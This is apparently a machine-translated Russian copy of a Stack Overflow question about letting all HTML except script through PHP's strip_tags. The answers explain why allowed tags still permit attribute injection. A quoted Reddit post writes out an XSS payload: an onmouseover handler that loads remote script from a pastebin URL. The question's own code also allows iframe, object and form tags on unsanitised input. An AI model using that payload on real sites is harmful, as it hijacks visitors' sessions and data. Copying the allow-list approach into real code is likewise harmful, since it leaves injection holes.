PHP strip_tags принимает все, кроме скрипта

Я создаю предварительный просмотр страницы перед публикацией или сохранением этой страницы. То, что я сейчас столкнулся, это то, что я забыл добавить теги <h1> <h2> <h3> etc в список разрешенных, но я добавил их позже.

Я хочу разрешить ВСЕ теги HTML, кроме тега <script>, и пока я придумал этот список:

public static function tags() {
    return '<p><a><hr><br><table><thead><tbody><tr><td><th><tfoot><span><div><ul><ol><li><img>' .
        '<canvas><video><object><embed><audio><frame><iframe><label><option><select><option>' .
        '<input><textarea><button><form><param><pre><code><small><em><b><u><i><strong><article>' .
        '<aside><bdi><details><summary><figure><figcaption><footer><header><hgroup><mark><meter>' .
        '<nav><progress><ruby><rt><rp><section><time><wbr><track><source><datalist><output><keygen>' .
        '<h1><h2><h3><h4><h5><h6><h7><h8><h9>';
}

Поэтому я использую этот статический метод следующим образом:

$model->content = strip_tags($_POST['contents'], HTML5Custom::tags());

Я пропустил какие-либо теги?

В основном я сосредоточился на ДОСТУПНЫХ тегах в спецификации HTML5, а все теги HTML4 (и ниже), которые устарели в HTML5, отсутствуют в списке.


person Community    schedule 27.02.2013    source источник


Ответы (2)


Пожалуйста, не используйте strip_tags, это небезопасно и ненадежно — прочитайте следующее обсуждение strip_tags для того, что вам следует использовать:

Обсуждение Strip_tags на reddit.com

:: Подробная информация о сообщении Reddit ::

strip_tags — одна из распространенных функций перехода, используемых для безопасного отображения пользовательского ввода на веб-страницах. Но вопреки тому, для чего это звучит, strip_tags никогда, никогда, никогда не будет правильной функцией для этого, и у нее много проблем. Вот почему:

  1. Он может съесть законный текст. Получается Это показывает, что x‹y. into Это показывает, что x, и если он не получит закрывающую '›', он продолжит съедать остальные строки в комментарии. (Например, это мешает людям обсуждать HTML.)
  2. Это не предотвращает типизированные объекты HTML. Люди могут (и используют) использовать это для обхода словесных и спам-фильтров.
  3. Использование второго параметра для разрешения некоторых тегов на 100% опасно. Все начинается невинно: кто-то хочет разрешить простое форматирование пользовательских комментариев и делает что-то вроде этого:

Что каждый должен знать о strip_tags()

strip_tags — одна из распространенных функций перехода, используемых для безопасного отображения пользовательского ввода на веб-страницах. Но вопреки тому, для чего это звучит, strip_tags никогда, никогда, никогда не будет правильной функцией для этого, и у нее много проблем. Вот почему:

  • Он может съесть законный текст. Получается Это показывает, что x‹y. into Это показывает, что x, и если он не получит закрывающую '›', он продолжит съедать остальные строки в комментарии. (Например, это мешает людям обсуждать HTML.)

  • Это не предотвращает типизированные объекты HTML. Люди могут (и используют) использовать это для обхода словесных и спам-фильтров.

  • Использование второго параметра для разрешения некоторых тегов на 100% опасно. Все начинается невинно: кто-то хочет разрешить простое форматирование пользовательских комментариев и делает что-то вроде этого:

    $message = strip_tags($message, '');

Но атрибуты в тегах не удаляются. Так что я мог бы зайти на ваш сайт и оставить комментарий, как это:

<b style="color:red;font-size:100pt;text-decoration:blink">hello</b>

Внезапно я могу использовать любое форматирование, которое захочу. Или я мог бы сделать это:

<b style="background:url(http://someserver/transparent.gif);font-weight:normal">hello</b>

Используя это, я могу отслеживать пользователей, просматривающих ваш сайт, без их или вашего ведома.

Или, если бы я был особенно злым, я мог бы сделать что-то вроде этого:

<b onmouseover="s=document.createElement('script');s.src='http://pastebin.com/raw.php?i=j1Vhq2aJ';document.getElementsByTagName('head')[0].appendChild(s)">hello</b>

Используя это, я мог бы внедрить на ваш сайт свой собственный скрипт, запускаемый при наведении курсора на мой комментарий. Такой скрипт будет работать в браузере пользователя с полными привилегиями страницы, поэтому он очень опасен. Он может украсть или удалить личные данные пользователя. Он может изменить любую часть страницы, например, отображать поддельные сообщения или шокирующие изображения. Он может использовать репутацию вашего сайта, чтобы заставить пользователей загружать вредоносное ПО. Один комментарий может даже быстро распространиться по сайту, как вирус, отправляя новые комментарии от пользователя, который его просматривает.

Вы не можете переоценить опасность использования этого второго параметра. Если бы кто-то был достаточно заботлив, это можно было бы использовать, чтобы нанести полный ущерб.

Второй параметр не работает должным образом даже для известного безопасного текста. Использование, подобное strip_tags('text in which we want line breaks<br/>but no formatting', '<br>'), по-прежнему удаляет разрыв, потому что видит '/' как часть имени тега.

Если вы просто хотите предотвратить HTML и форматирование вводимых пользователем данных, чтобы отображать текст на веб-странице точно так, как он напечатан, то правильная функция — htmlspecialchars. Следуйте этому с nl2br, если вы хотите отобразить несколько строк, иначе текст будет отображаться в одной строке. (++ Редактировать: вы должны знать, какой набор символов вы используете (а если вы этого не знаете, стремитесь использовать UTF-8 везде, поскольку он становится веб-стандартом). Если вы используете странный несовместимый с ASCII набор символов, вы должны указать его в качестве второго параметра для htmlspecialchars, чтобы он работал правильно.)

Если вы хотите разрешить форматирование, существуют соответствующие предварительно разработанные библиотеки, обеспечивающие безопасное использование различных синтаксисов, включая HTML, Markdown, BBCode и Wikitext.

Когда вы хотите разрешить форматирование, вы должны использовать соответствующую библиотеку, предназначенную для этого. Markdown (используемый на Reddit) — это удобный для пользователя синтаксис форматирования, но, как поясняет flyfirefox ниже, он позволяет использовать HTML и сам по себе небезопасен. (Это средство форматирования, а не дезинфицирующее средство). Использование HTML и/или Markdown для форматирования можно сделать полностью безопасным с помощью дезинфицирующего средства, такого как HTML Purifier, которое делает то, что должен был делать strip_tags. BBCode — еще один вариант.

Если вы чувствуете необходимость создать свой собственный модуль форматирования, даже простой, посмотрите на существующие реализации, чтобы увидеть, что они делают, потому что есть удивительное количество тонкостей, связанных с тем, чтобы сделать их надежными и безопасными.

Единственным подходящим моментом для использования strip_tags было бы удаление HTML, который должен был быть там, и теперь вы конвертируете в формат, отличный от HTML. Например, если у вас есть некоторый контент в формате HTML, и теперь вы хотите записать его в обычный текстовый файл, то это можно сделать с помощью strip_tags, за которым следует htmlspecialchars_decode или html_entity_decode. (В этом случае у strip_tags не будет недостатка в удалении законного текста, потому что текст уже должен был быть должным образом экранирован как объекты, когда он был преобразован в HTML в первую очередь.)

Как правило, strip_tags — это просто неправильная функция. Никогда не используйте его. А если и будете, то категорически никогда не используйте второй параметр, потому что рано или поздно им кто-нибудь злоупотребит.

person Adriaan Nel    schedule 01.03.2013
comment
не могли бы вы добавить сюда важную часть этого обсуждения? - person rubo77; 02.10.2020

В этом случае будет проще занести в черный список, чем в белый, иначе вам придется постоянно пересматривать этот скрипт и обновлять его.

Кроме того, strip_tags() ненадежен для обеспечения безопасности HTML, все же можно внедрить javascript в атрибуты, например, onmouseover="alert('hax');, и он прекрасно пройдет strip_tags().

Моя любимая библиотека для фильтрации и очистки HTML — HTML Purifier.

person Dunhamzzz    schedule 27.02.2013